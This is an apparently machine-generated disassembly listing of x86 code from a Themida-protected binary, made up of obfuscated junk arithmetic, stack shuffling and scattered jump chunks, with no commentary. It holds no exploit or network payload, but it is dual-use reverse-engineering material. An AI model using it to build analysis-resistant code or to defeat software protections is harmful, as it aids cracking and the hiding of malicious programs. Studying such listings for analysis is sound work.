xchg ebp, [esp]
pop esp
or eax, eax
jz loc_54E6EB
push dword ptr [edi+1Ch]
mov ecx, [esp]
push edx
push esp
pop edx
push 2C54h
mov [esp], ebx
push edi
jmp loc_54A1D9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 22F3h
mov [esp], esi
push esp
pop esi
push ecx
mov ecx, 4
push ecx
jmp loc_547505
; ---------------------------------------------------------------------------
loc_54E9D4: ; CODE XREF: Themida_:0054DAB2j
mov [esp], ax
sub esp, 4
mov [esp], edx
mov dh, 0ECh
add dh, 6Eh
push ecx
mov cl, dh
jmp loc_54B229
; ---------------------------------------------------------------------------
loc_54E9EB: ; CODE XREF: Themida_:0054CF82j
xor edi, 183DAE6Bh
mov esi, edi
pop edi
or esi, 77725C77h
push edx
mov edx, 7F777C7Bh
sub esi, edx
pop edx
jmp loc_544516
; ---------------------------------------------------------------------------
loc_54EA08: ; CODE XREF: Themida_:00546820j
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_544EAC
; ---------------------------------------------------------------------------
loc_54EA19: ; CODE XREF: Themida_:00544D55j
push edx
mov edx, 4
add ebp, edx
pop edx
jmp loc_54ED6D
; ---------------------------------------------------------------------------
loc_54EA27: ; CODE XREF: Themida_:005449B8j
mov ebp, 197629D1h
inc ebp
jmp loc_54D806
; ---------------------------------------------------------------------------
loc_54EA32: ; CODE XREF: Themida_:0054573Ej
mov esp, [esp]
jmp loc_54FD3E
; ---------------------------------------------------------------------------
loc_54EA3A: ; CODE XREF: Themida_:0054A25Cj
push ecx
push edx
mov edx, 76E260E5h
and edx, 15810020h
shr edx, 7
shr edx, 2
or edx, 0A4C3C87h
inc edx
sub edx, 0EF204524h
mov ecx, edx
pop edx
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 27D11F65h
add [esp+4], ecx
pop ecx
add dword ptr [esp], 4C540C33h
add [esp], eax
sub dword ptr [esp], 4C540C33h
sub dword ptr [esp], 27D11F65h
push eax
push ebx
mov ebx, 1B2E3764h
push 7F5h
mov [esp], ebx
jmp loc_54B56F
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5452DB
; ---------------------------------------------------------------------------
loc_54EAAC: ; CODE XREF: Themida_:0054E7EDj
mov ebx, 0
add ebx, ecx
jmp loc_54A5D9
; =============== S U B R O U T I N E =======================================
sub_54EAB8 proc near ; CODE XREF: sub_565CDA-1D898j
; FUNCTION CHUNK AT 00549F31 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0054C3A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054F2A9 SIZE 00000008 BYTES
push ebx
push eax
mov al, 62h
push ecx
jmp loc_549F31
sub_54EAB8 endp
; ---------------------------------------------------------------------------
loc_54EAC2: ; CODE XREF: Themida_:005448AFj
or ebp, eax
pop eax
jmp loc_546531
; ---------------------------------------------------------------------------
loc_54EACA: ; CODE XREF: Themida_:0054F7C4j
mov ebp, esi
pop esi
pop ecx
jmp loc_549B97
; ---------------------------------------------------------------------------
loc_54EAD3: ; CODE XREF: Themida_:0054440Fj
push edi
mov edi, 55D32FABh
dec edi
add edi, 71811418h
add edi, 38ABBC40h
mov ebp, edi
pop edi
add esi, ebp
jmp loc_5448B4
; ---------------------------------------------------------------------------
loc_54EAF0: ; CODE XREF: Themida_:0054CBABj
add al, 6Bh
jmp loc_545360
; ---------------------------------------------------------------------------
loc_54EAF7: ; CODE XREF: Themida_:00544C96j
push ecx
push esp
pop ecx
jmp loc_54F810
; ---------------------------------------------------------------------------
loc_54EAFF: ; CODE XREF: Themida_:0054D89Aj
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_54A1B4
; ---------------------------------------------------------------------------
loc_54EB0E: ; CODE XREF: Themida_:0054FCF6j
mov [esp], eax
jmp loc_548CDA
; ---------------------------------------------------------------------------
loc_54EB16: ; CODE XREF: Themida_:00549643j
and ecx, 265935C8h
shl ecx, 5
and ecx, 72E3BD1h
sub ecx, 9D33EA12h
sub esi, ecx
pop ecx
add esi, ecx
add esi, 64CE36EEh
pop ecx
push 3733h
mov [esp], ebp
mov ebp, 2
jmp loc_54B23D
; ---------------------------------------------------------------------------
loc_54EB49: ; CODE XREF: Themida_:00549D07j
pop esp
add eax, ebx
pop ebx
jmp loc_54A2F8
; ---------------------------------------------------------------------------
loc_54EB52: ; CODE XREF: Themida_:00548A4Dj
mov ebp, esp
jmp loc_545ECA
; ---------------------------------------------------------------------------
loc_54EB59: ; CODE XREF: Themida_:00547942j
add esp, 4
sub edi, 0A0A1E68h
push eax
mov eax, 2B385413h
jmp loc_54919C
; ---------------------------------------------------------------------------
loc_54EB6D: ; CODE XREF: Themida_:00547927j
push esp
pop edi
add edi, 4
add edi, 2
sub esp, 4
jmp loc_54543F
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edx
push ebx
mov bh, 8Ch
push eax
jmp loc_54CC42
; ---------------------------------------------------------------------------
loc_54EB90: ; CODE XREF: Themida_:0054C9D7j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54EB95: ; CODE XREF: Themida_:00547104j
add edx, 4
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], edi
mov edi, 2
mov ebx, edi
jmp loc_5475FD
; ---------------------------------------------------------------------------
loc_54EBB9: ; CODE XREF: Themida_:0054E71Fj
mov [esp], esi
push 16FC26FFh
mov esi, [esp]
add esp, 4
sub esi, 0F5CCDC00h
mov eax, esi
pop esi
jmp loc_54BA08
; ---------------------------------------------------------------------------
loc_54EBD8: ; CODE XREF: Themida_:005499F9j
push esp
push dword ptr [esp]
pop ebx
add esp, 4
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_54C06B
; ---------------------------------------------------------------------------
loc_54EBF0: ; CODE XREF: Themida_:00545055j
sub bp, 101h
and bp, 5449h
and bp, 6FA6h
add bp, 251Bh
sub esp, 4
jmp loc_548B8B
; ---------------------------------------------------------------------------
loc_54EC0F: ; CODE XREF: Themida_:0054A697j
push edx
mov dl, 0EFh
sub al, dl
mov edx, [esp]
add esp, 4
add al, 80h
sub al, bl
push ecx
mov cl, 80h
sub al, 5Fh
sub al, cl
add al, 5Fh
pop ecx
push small 3DBDh
jmp loc_54A34D
; ---------------------------------------------------------------------------
loc_54EC34: ; CODE XREF: Themida_:0054C457j
push dword ptr [esp+4]
jmp loc_5480A4
; ---------------------------------------------------------------------------
loc_54EC3D: ; CODE XREF: Themida_:0054A5FBj
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push ebp
push esi
mov esi, 278B734Ch
or esi, 67825B92h
push edi
mov edi, 231031F7h
sub esi, edi
pop edi
push eax
push esi
mov esi, 3F905F16h
shl esi, 3
shr esi, 1
sub esi, 9FF0721h
mov eax, esi
pop esi
shl eax, 3
jmp loc_547499
; ---------------------------------------------------------------------------
loc_54EC7C: ; CODE XREF: Themida_:0054778Aj
push esp
push dword ptr [esp]
jmp loc_546CCE
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
jmp loc_5456D8
; ---------------------------------------------------------------------------
loc_54EC8F: ; CODE XREF: Themida_:0054ED2Fj
xor ecx, [esp]
pop esp
mov [esp], edi
push edx
mov edx, 533D6C4Dh
jmp loc_54BEFE
; ---------------------------------------------------------------------------
loc_54ECA1: ; CODE XREF: Themida_:0054CC26j
pop eax
xchg edx, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
push esp
jmp loc_54FA24
; ---------------------------------------------------------------------------
loc_54ECBD: ; CODE XREF: Themida_:00549B6Bj
shr edx, 1
cmp eax, edx
jz loc_547A49
mov dword ptr [edi+20h], 38090F14h
shr dword ptr [edi+20h], 1
shl dword ptr [edi+20h], 4
shl dword ptr [edi+20h], 6
sub esp, 4
mov [esp], ebx
jmp loc_546BA8
; ---------------------------------------------------------------------------
loc_54ECE4: ; CODE XREF: Themida_:00546B8Ej
pop ebp
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_54FAC6
; ---------------------------------------------------------------------------
loc_54ECF4: ; CODE XREF: Themida_:0054FDCAj
shl edi, 5
xchg ebp, edi
push ebp
not dword ptr [esp]
pop ebp
xchg ebp, edi
or edi, 28945347h
sub edi, 0FAF7D3DBh
add ecx, edi
jmp loc_5454E8
; ---------------------------------------------------------------------------
loc_54ED13: ; CODE XREF: Themida_:0054E54Bj
add edi, eax
pop eax
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
add [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54ED29: ; CODE XREF: Themida_:005476FBj
xor ecx, [esp]
xor [esp], ecx
jmp loc_54EC8F
; ---------------------------------------------------------------------------
loc_54ED34: ; CODE XREF: Themida_:0054A375j
mov [esp], esp
push edi
mov edi, 4
push esi
mov esi, 5BBF30F5h
sub [esp+8], esi
pop esi
sub dword ptr [esp+4], 66DD24EEh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
mov edi, 436E2128h
jmp loc_54FB1C
; ---------------------------------------------------------------------------
loc_54ED6D: ; CODE XREF: Themida_:0054EA22j
add ebp, 4
jmp loc_54D522
; ---------------------------------------------------------------------------
loc_54ED75: ; CODE XREF: Themida_:0054482Ej
xor [esp], edi
xor edi, [esp]
pop esp
mov ax, [esp]
push 73DAh
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], ebx
jmp loc_5484D9
; ---------------------------------------------------------------------------
loc_54ED9B: ; CODE XREF: Themida_:0054BB99j
and ebx, eax
pop eax
push edx
mov edx, 0FFFFFFFFh
sub ebx, edx
pop edx
xor ebx, 2C200865h
add eax, ebx
pop ebx
jmp loc_54A860
; ---------------------------------------------------------------------------
loc_54EDB5: ; CODE XREF: Themida_:00544618j
sub eax, edi
pop edi
xor eax, [esp]
xor [esp], eax
jmp loc_5444E2
; ---------------------------------------------------------------------------
loc_54EDC3: ; CODE XREF: Themida_:00547A79j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54EDC8: ; CODE XREF: Themida_:00547277j
mov edi, 277D139Dh
push 4A09h
mov [esp], edi
add dword ptr [esp], 8E656DDh
pop ebp
sub ebp, 8E656DDh
jmp loc_544756
; ---------------------------------------------------------------------------
loc_54EDE8: ; CODE XREF: Themida_:00545CBCj
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5445D5
; ---------------------------------------------------------------------------
loc_54EDF9: ; CODE XREF: Themida_:0054FF1Cj
mov edi, 346461C9h
inc edi
not edi
jmp loc_54FE8B
; ---------------------------------------------------------------------------
loc_54EE06: ; CODE XREF: Themida_:005466E1j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
mov ecx, 30D9279Dh
inc ecx
jmp loc_54BEE4
; ---------------------------------------------------------------------------
loc_54EE25: ; CODE XREF: Themida_:0054E3ABj
add cl, bl
pop ebx
sub al, 50h
jmp loc_547EB0
; ---------------------------------------------------------------------------
loc_54EE2F: ; CODE XREF: Themida_:0054E4A3j
mov edx, [esp]
add esp, 4
push edi
sub esp, 4
mov [esp], ebx
mov ebx, 4A64651Fh
inc ebx
add ebx, 0FFFFFFFFh
add ebx, 0F36BABE3h
mov edi, ebx
pop ebx
jmp loc_546965
; ---------------------------------------------------------------------------
loc_54EE56: ; CODE XREF: Themida_:00544EA7j
add esp, 4
push ebp
jmp loc_545D41
; ---------------------------------------------------------------------------
loc_54EE62: ; CODE XREF: Themida_:0054C8F2j
pop edi
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_547D6A
; ---------------------------------------------------------------------------
loc_54EE71: ; CODE XREF: Themida_:00544B33j
mov ebx, 4
add eax, ebx
mov ebx, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
loc_54EE8A: ; CODE XREF: Themida_:loc_54B14Cj
push 2592h
mov [esp], eax
push edi
jmp loc_544B38
; ---------------------------------------------------------------------------
loc_54EE98: ; CODE XREF: Themida_:005488BBj
sub ecx, 2E00402Ah
and esi, ecx
jmp loc_54EFF0
; ---------------------------------------------------------------------------
loc_54EEA5: ; CODE XREF: Themida_:00545ADDj
inc esi
dec esi
add esi, 52484C5Fh
jmp loc_54D3C2
; ---------------------------------------------------------------------------
loc_54EEB2: ; CODE XREF: Themida_:0054D24Cj
mov [esp], ecx
jmp loc_546AA0
; ---------------------------------------------------------------------------
loc_54EEBA: ; CODE XREF: Themida_:005496C7j
push 47F8h
jmp loc_54E5D0
; ---------------------------------------------------------------------------
loc_54EEC4: ; CODE XREF: Themida_:005464C6j
mov [esp], esi
jmp loc_54BE6D
; ---------------------------------------------------------------------------
loc_54EECC: ; CODE XREF: Themida_:0054C553j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54EED1: ; CODE XREF: Themida_:0054D441j
push edx
jmp loc_548063
; ---------------------------------------------------------------------------
loc_54EED7: ; CODE XREF: Themida_:0054D31Ej
pop esi
push 1266h
jmp loc_544DA2
; ---------------------------------------------------------------------------
loc_54EEE2: ; CODE XREF: Themida_:005468E4j
xor [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54EEEC: ; CODE XREF: Themida_:0054F8FDj
push dword ptr [esp+4]
pop ebp
jmp loc_54C1CB
; ---------------------------------------------------------------------------
loc_54EEF6: ; CODE XREF: Themida_:0054833Dj
mov [edi+38h], bh
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push ecx
mov ecx, esp
jmp loc_54C770
; ---------------------------------------------------------------------------
loc_54EF13: ; CODE XREF: Themida_:00548398j
push eax
push edi
mov edi, 4BE71331h
sub edi, 0FFFFFFFFh
add edi, 35FD2D30h
push edx
mov edx, 2D9A7EE5h
or edi, edx
pop edx
dec edi
sub edi, 7ED13809h
xor edi, 0C2A13F7h
mov eax, edi
jmp loc_544BBB
; ---------------------------------------------------------------------------
loc_54EF40: ; CODE XREF: Themida_:005473C7j
mov al, 0BAh
add al, 25h
sub al, 0F1h
sub bl, 89h
add bl, al
add bl, 89h
mov ax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 2
xchg edx, [esp]
jmp loc_5493B1
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_545BBA
; ---------------------------------------------------------------------------
loc_54EF73: ; CODE XREF: Themida_:0054B86Ej
pop ecx
jmp loc_54C8C5
; ---------------------------------------------------------------------------
loc_54EF79: ; CODE XREF: Themida_:005448C6j
mov edx, 55F53DEFh
add edx, 5254485Eh
push ebp
mov ebp, 484365A5h
jmp loc_546AA6
; ---------------------------------------------------------------------------
loc_54EF8F: ; CODE XREF: Themida_:00549783j
not edx
xchg edx, ebx
xchg ebx, esi
push ecx
jmp loc_54C112
; ---------------------------------------------------------------------------
loc_54EF9B: ; CODE XREF: Themida_:00546F6Ej
dec ah
xor ah, 11h
and bl, ah
jmp loc_549C92
; ---------------------------------------------------------------------------
loc_54EFA7: ; CODE XREF: Themida_:0054A729j
pop edx
jmp loc_549056
; ---------------------------------------------------------------------------
loc_54EFAD: ; CODE XREF: Themida_:005475A3j
pop ecx
add esp, 4
push edx
mov edx, esp
jmp loc_544188
; ---------------------------------------------------------------------------
loc_54EFB9: ; CODE XREF: Themida_:0054F16Ej
push ecx
mov ecx, 320B0C4Fh
sub ecx, 3BD9DE73h
xor ebp, ecx
pop ecx
sub eax, ebp
pop ebp
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54EFD0: ; CODE XREF: Themida_:00545B18j
push edi
mov edi, 30865D68h
push ecx
push edx
mov edx, 1DC755C2h
or edx, 6225295Bh
not edx
xor edx, 976BADACh
jmp loc_54AF9E
; ---------------------------------------------------------------------------
loc_54EFF0: ; CODE XREF: Themida_:0054EEA0j
pop ecx
jmp loc_54A598
; ---------------------------------------------------------------------------
loc_54EFF6: ; CODE XREF: Themida_:00545471j
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_54D1C3
; ---------------------------------------------------------------------------
loc_54F00E: ; CODE XREF: Themida_:005462E0j
add eax, 0F971E98h
add eax, ecx
jmp loc_546059
; ---------------------------------------------------------------------------
loc_54F01A: ; CODE XREF: Themida_:00547DECj
mov bl, 65h
add bl, 47h
add dl, bl
pop ebx
xor ch, dl
pop edx
sub ch, 2Fh
sub al, ch
mov ecx, [esp]
add esp, 4
push ebx
push edx
jmp loc_548D74
; ---------------------------------------------------------------------------
loc_54F03A: ; CODE XREF: Themida_:0054FB54j
push edx
push esi
jmp loc_547730
; ---------------------------------------------------------------------------
loc_54F041: ; CODE XREF: Themida_:0054E8BAj
neg si
jmp loc_54FAAF
; ---------------------------------------------------------------------------
loc_54F049: ; CODE XREF: Themida_:0054CEB2j
xor eax, 61907306h
add eax, 553815E1h
shr eax, 6
xor eax, 2E10FB65h
jmp loc_548F29
; ---------------------------------------------------------------------------
loc_54F060: ; CODE XREF: Themida_:0054F8D2j
shl dword ptr [edx+38h], 1
xchg ebp, [edx+38h]
inc ebp
xchg ebp, [edx+38h]
shl dword ptr [edx+38h], 7
add dword ptr [edx+38h], 0C376C4E1h
and dword ptr [edx+38h], 383B49A4h
dec dword ptr [edx+38h]
push eax
push edx
mov edx, 4C07538Bh
mov eax, 4C0753C3h
add eax, 13A56621h
sub eax, edx
push ebp
mov ebp, 4D047597h
or ebp, 4FEE3FB6h
xor ebp, 21D962F1h
sub ebp, 5A91B725h
jmp loc_54E439
; ---------------------------------------------------------------------------
loc_54F0AF: ; CODE XREF: Themida_:0054C33Aj
mov [esp], ebp
push ecx
mov ecx, 6D717622h
inc ecx
sub ecx, 1
shr ecx, 6
xor ecx, 0AB7CCEEh
push ecx
pop ebp
mov ecx, [esp]
add esp, 4
mov ecx, 3B353C98h
add ecx, 0A4A3976h
not ecx
push edx
mov edx, 601C73CEh
add ecx, edx
pop edx
jmp loc_5457F3
; ---------------------------------------------------------------------------
loc_54F0EE: ; CODE XREF: Themida_:005464BCj
push edx
mov edx, 586944D1h
jmp loc_54B0EB
; ---------------------------------------------------------------------------
loc_54F0F9: ; CODE XREF: Themida_:0054DEAAj
pop edx
jmp loc_549989
; ---------------------------------------------------------------------------
loc_54F0FF: ; CODE XREF: Themida_:005490B4j
push 207Dh
jmp loc_54FD61
; ---------------------------------------------------------------------------
loc_54F109: ; CODE XREF: Themida_:0054500Bj
push 0CFh
mov [esp], eax
mov ah, 45h
or ch, ah
mov eax, [esp]
add esp, 4
or ch, 0C1h
jmp loc_54FDBF
; ---------------------------------------------------------------------------
loc_54F123: ; CODE XREF: Themida_:00544AD5j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54DF74
; ---------------------------------------------------------------------------
loc_54F131: ; CODE XREF: Themida_:0054E513j
mov edx, [esp]
jmp loc_54B435
; ---------------------------------------------------------------------------
loc_54F139: ; CODE XREF: Themida_:00547245j
pop esi
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push edi
push dword ptr [esp]
push dword ptr [esp]
pop edx
push 71D4h
mov [esp], ebx
jmp loc_5469D3
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_54A6FD
; ---------------------------------------------------------------------------
loc_54F161: ; CODE XREF: Themida_:00544511j
xor esi, 779076DAh
jmp loc_549A3E
; ---------------------------------------------------------------------------
loc_54F16C: ; CODE XREF: Themida_:00544AE3j
not ebp
jmp loc_54EFB9
; ---------------------------------------------------------------------------
loc_54F173: ; CODE XREF: Themida_:005468A7j
sub dword ptr [esp], 3AB462CBh
sub [esp], edi
add dword ptr [esp], 3AB462CBh
pop edi
sub edi, 197D4036h
jmp loc_54AFA5
; ---------------------------------------------------------------------------
loc_54F190: ; CODE XREF: Themida_:0054656Fj
xor ebx, ecx
xor ecx, ebx
jmp loc_54BEEC
; ---------------------------------------------------------------------------
loc_54F199: ; CODE XREF: Themida_:00548FB8j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54F19E: ; CODE XREF: Themida_:0054DA20j
mov eax, 49711CEDh
dec eax
jmp loc_544CB1
; ---------------------------------------------------------------------------
loc_54F1A9: ; CODE XREF: Themida_:0054AB97j
push eax
mov eax, esp
jmp loc_54DDFC
; ---------------------------------------------------------------------------
loc_54F1B1: ; CODE XREF: Themida_:0054D5FEj
pop edi
add ebx, ebp
sub ebx, 1DA71E18h
mov ebp, [esp]
add esp, 4
add ebx, eax
sub ebx, 7475756Ch
push ecx
jmp loc_548E78
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push esi
mov esi, esp
add esi, 4
push ecx
jmp loc_544D42
; ---------------------------------------------------------------------------
loc_54F1F9: ; CODE XREF: Themida_:0054F330j
push small 763h
mov [esp], cx
mov ch, bh
not ch
push eax
mov al, ch
mov bh, al
pop eax
jmp loc_547109
; ---------------------------------------------------------------------------
loc_54F210: ; CODE XREF: Themida_:005497ADj
mov esi, ebp
jmp loc_54C590
; ---------------------------------------------------------------------------
loc_54F217: ; CODE XREF: Themida_:0054A593j
shl eax, 5
or eax, 19BD4393h
add eax, 0E642A411h
mov ebp, eax
pop eax
sub esi, 4DAC7A14h
sub esi, 2B1B64A4h
add esi, ebp
add esi, 2B1B64A4h
add esi, 4DAC7A14h
pop ebp
jmp loc_548EBF
; ---------------------------------------------------------------------------
loc_54F247: ; CODE XREF: Themida_:0054DB5Fj
sub [esp+4], bp
pop bp
add [esp+2], cx
jmp loc_548311
; ---------------------------------------------------------------------------
loc_54F258: ; CODE XREF: Themida_:00546BE3j
sub esp, 4
jmp loc_549386
; ---------------------------------------------------------------------------
loc_54F260: ; CODE XREF: Themida_:00544247j
push dx
push ecx
mov cl, 45h
jmp loc_550086
; ---------------------------------------------------------------------------
loc_54F26A: ; CODE XREF: Themida_:0054A749j
mov eax, [esp]
jmp loc_544A5B
; ---------------------------------------------------------------------------
loc_54F272: ; CODE XREF: Themida_:00544B5Aj
mov [esp], esi
push 20000h
mov esi, [esp]
push edx
push esp
pop edx
add edx, 4
jmp loc_548EAA
; ---------------------------------------------------------------------------
loc_54F28B: ; CODE XREF: Themida_:0054B109j
mov bh, 38h
or dl, bh
pop bx
or dl, 96h
jmp loc_54FC87
; ---------------------------------------------------------------------------
loc_54F299: ; CODE XREF: Themida_:0054CCF6j
xor ecx, esi
pop esi
and esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_54DC3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54EAB8
loc_54F2A9: ; CODE XREF: sub_54EAB8-2712j
shl dl, 7
jmp sub_545BCC
; END OF FUNCTION CHUNK FOR sub_54EAB8
; ---------------------------------------------------------------------------
loc_54F2B1: ; CODE XREF: Themida_:00545716j
xor cl, 0AAh
sub al, cl
pop ecx
push dword ptr [esp]
pop edx
jmp loc_54CEA8
; ---------------------------------------------------------------------------
loc_54F2C0: ; CODE XREF: Themida_:0054B7B4j
push ecx
mov cl, 7Ah
and cl, 94h
inc cl
and cl, 88h
xor cl, 8
add ah, 4
add ah, cl
sub ah, 4
pop ecx
sub bl, ah
pop eax
push ebp
jmp loc_544987
; ---------------------------------------------------------------------------
loc_54F2E0: ; CODE XREF: Themida_:00548820j
mov eax, [esp]
jmp loc_54D01E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 129Fh
jmp loc_54B3D0
; ---------------------------------------------------------------------------
loc_54F2F6: ; CODE XREF: Themida_:00548D10j
add [esp+4], edx
pop edx
mov edi, [esp]
push 7C2Dh
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_5461E3
; ---------------------------------------------------------------------------
loc_54F312: ; CODE XREF: Themida_:00548B7Fj
push esi
mov esi, 4
jmp loc_545476
; ---------------------------------------------------------------------------
loc_54F31D: ; CODE XREF: Themida_:00545806j
add esp, 4
shr eax, 12h
xor eax, ecx
push eax
jmp loc_54BEDE
; ---------------------------------------------------------------------------
loc_54F32B: ; CODE XREF: Themida_:0054C10Dj
mov bh, 0BDh
sub bh, 1
jmp loc_54F1F9
; ---------------------------------------------------------------------------
loc_54F335: ; CODE XREF: Themida_:00549AD0j
push esi
push 2
pop esi
add ebx, esi
pop esi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_548B93
; ---------------------------------------------------------------------------
push edi
mov edi, esp
add edi, 4
sub edi, 4
push 6CE0h
mov [esp], edi
jmp loc_54C33F
; ---------------------------------------------------------------------------
loc_54F371: ; CODE XREF: Themida_:0054A9A2j
sub esp, 4
mov [esp], esi
mov eax, [esp]
push 937h
mov [esp], ebx
push esp
pop ebx
sub esp, 4
jmp loc_54615D
; ---------------------------------------------------------------------------
loc_54F392: ; CODE XREF: Themida_:0054C502j
pop dword ptr [esp]
pop esp
jmp loc_54D679
; ---------------------------------------------------------------------------
loc_54F39B: ; CODE XREF: Themida_:0054701Cj
push edx
mov edx, 72D76003h
add edx, 1
sub edx, 0FFFFFFFFh
shr edx, 3
xor edx, 6E7FF6CAh
sub esi, 44665AB1h
add esi, edx
jmp loc_544E12
; ---------------------------------------------------------------------------
loc_54F3C0: ; CODE XREF: Themida_:00546923j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_54B8A1
; ---------------------------------------------------------------------------
loc_54F3D1: ; CODE XREF: Themida_:0054C066j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
or [esp], ax
pushf
jmp loc_544833
; ---------------------------------------------------------------------------
loc_54F3E4: ; CODE XREF: Themida_:00544737j
pop ecx
sub edx, 76274E99h
add edx, esi
add edx, 76274E99h
pop esi
add edx, 2
jmp loc_54BF27
; ---------------------------------------------------------------------------
loc_54F3FC: ; CODE XREF: Themida_:00544B10j
inc edx
sub edx, 0CEDCF9C8h
add ebp, edx
jmp loc_5476F4
; ---------------------------------------------------------------------------
loc_54F40A: ; CODE XREF: Themida_:00544CFEj
push 486Dh
jmp loc_549777
; ---------------------------------------------------------------------------
loc_54F414: ; CODE XREF: Themida_:0054E4CCj
add dword ptr [esp], 1
mov eax, [esp]
add esp, 4
shr eax, 2
push ebp
mov ebp, 3A065089h
xor eax, ebp
pop ebp
push eax
add dword ptr [esp], 3DCA171Fh
jmp loc_548E1B
; ---------------------------------------------------------------------------
loc_54F43D: ; CODE XREF: Themida_:0054515Bj
xchg eax, [esp]
pop esp
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54F446: ; CODE XREF: Themida_:00549984j
push edi
mov edi, 2DEB7F88h
shr edi, 8
jmp loc_54689C
; ---------------------------------------------------------------------------
loc_54F454: ; CODE XREF: Themida_:0054C49Aj
add esi, edx
pop edx
mov edi, [esp]
add esp, 4
push 0
mov ebx, [esp]
push eax
jmp loc_54B7F4
; ---------------------------------------------------------------------------
loc_54F46E: ; CODE XREF: Themida_:00546647j
push ecx
mov ecx, esp
jmp loc_54A509
; ---------------------------------------------------------------------------
loc_54F476: ; CODE XREF: Themida_:0054C356j
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
jmp loc_54BD65
; ---------------------------------------------------------------------------
loc_54F48E: ; CODE XREF: Themida_:0054B35Aj
pop edx
jmp loc_5470F3
; ---------------------------------------------------------------------------
lodsd
push ebp
sub esp, 4
mov [esp], ecx
mov ecx, 21AA43FFh
or ecx, 45E64EBCh
add ecx, 0D441609h
jmp loc_5498A9
; ---------------------------------------------------------------------------
loc_54F4B2: ; CODE XREF: Themida_:00546FB2j
xor esi, edx
jmp loc_54DD5A
; ---------------------------------------------------------------------------
loc_54F4B9: ; CODE XREF: Themida_:00547E7Ej
mov ebp, 1
add ebx, ebp
pop ebp
add ebx, 4D1BB2B7h
mov edx, ebx
mov ebx, [esp]
push edx
jmp loc_5461C8
; ---------------------------------------------------------------------------
loc_54F4D2: ; CODE XREF: Themida_:005487D8j
mov edi, [esp]
add esp, 4
add esi, eax
pop eax
add esi, 3AE644Fh
sub esp, 4
mov [esp], eax
mov eax, 96C47D9h
push ebp
push edx
push 3A924E6Ch
pop edx
dec edx
shl edx, 7
add edx, 0BEBE315Fh
mov ebp, edx
pop edx
jmp loc_54F8A7
; ---------------------------------------------------------------------------
loc_54F506: ; CODE XREF: Themida_:0054F592j
mov ch, 0D5h
add ch, 1
add ch, 1
dec ch
sub ch, 0B3h
sub dh, ch
pop ecx
xor dh, 19h
add bl, dh
jmp loc_54AED5
; ---------------------------------------------------------------------------
loc_54F520: ; CODE XREF: Themida_:0054D186j
mov dx, [esp]
push eax
push esp
mov eax, [esp]
add esp, 4
push ecx
push 4
pop ecx
add eax, ecx
pop ecx
push edi
push edx
jmp loc_54E951
; ---------------------------------------------------------------------------
loc_54F53D: ; CODE XREF: Themida_:0054A311j
push ebx
mov ebx, esp
sub esp, 4
mov [esp], ecx
push 7D18h
mov [esp], eax
push 276F5D62h
pop eax
push edi
mov edi, 644446BFh
add eax, edi
jmp loc_54DE66
; ---------------------------------------------------------------------------
loc_54F561: ; CODE XREF: Themida_:0054A141j
mov [esp], eax
jmp loc_54C40F
; ---------------------------------------------------------------------------
loc_54F569: ; CODE XREF: Themida_:00549E2Aj
xor edx, 60BB729Dh
and edi, edx
jmp loc_54FF99
; ---------------------------------------------------------------------------
loc_54F576: ; CODE XREF: Themida_:0054E042j
add ecx, edx
sub ecx, 32F473F6h
jmp loc_548D43
; ---------------------------------------------------------------------------
loc_54F583: ; CODE XREF: Themida_:0054CFDCj
and ebp, edx
pop edx
jmp loc_54D382
